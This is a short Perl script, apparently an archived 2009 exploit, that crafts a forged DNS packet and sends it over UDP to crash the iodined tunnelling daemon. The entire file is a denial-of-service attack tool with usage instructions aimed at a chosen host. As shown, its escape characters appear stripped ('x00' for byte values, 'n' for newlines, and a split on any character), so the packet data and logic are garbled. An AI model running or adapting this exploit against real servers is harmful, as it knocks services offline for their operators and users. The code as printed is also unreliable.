#!/usr/bin/perl

# iodined <= 0.4.2 DoS exploit
#
# by Albert Sellares <whats[at]wekk[dot]net> 
# http://www.wekk.net
# 2009-04-26
#
# This exploit shuts down the iodined daemon using a forged DNS packet.
# It works on the last debian stable version (0.4.2-2).
#
# It produces a segmentation fault on the daemon side.

use IO::Socket;
use strict;

my $pkt_header = "x00x01x01x00x00x01x00x00x00x00x00x01x0bx56x63x61x61x61x69x61x71x61x61x64";
my $pkt_footer = "x00x00x0ax00x01x00x00x29x10x00x00x00x80x00x00x00";

if ($#ARGV != 1) {
    print "shoot-iodined <= 0.4.2 - <whats[@t]wekk.net>n".
          "=============================================n".
          "Usage: ./shoot-iodined host domainn".
          " * host: Host addr where iodined is listeningn".
          " * domain: Domain that iodined is usingn";
    exit 1;
}

my $host = $ARGV[0];
my $domain = $ARGV[1];
my $template = 'a24';
my @pkt;;
my $l;

push(@pkt, $pkt_header);
my @chunk = split(/./, $domain);

foreach (@chunk) {
    $l = length $_;
    $template = $template . 'Ca'. $l;
    push(@pkt, $l);
    push(@pkt, $_);
}
$template = $template . 'a16';
push(@pkt, $pkt_footer);

$| = 1;
print " [*] Shooting iodined at host $host...n";

my $sock = IO::Socket::INET->new(  Proto     => 'udp',
                                   PeerPort  => 53,
                                   PeerAddr  => $host) or die "Creating socket: $!n";

$sock->send(pack($template, @pkt)) or die "send: $!";

print " [*] If the domain was ok, now the service is down.n";

# www.Syue.com [2009-04-27]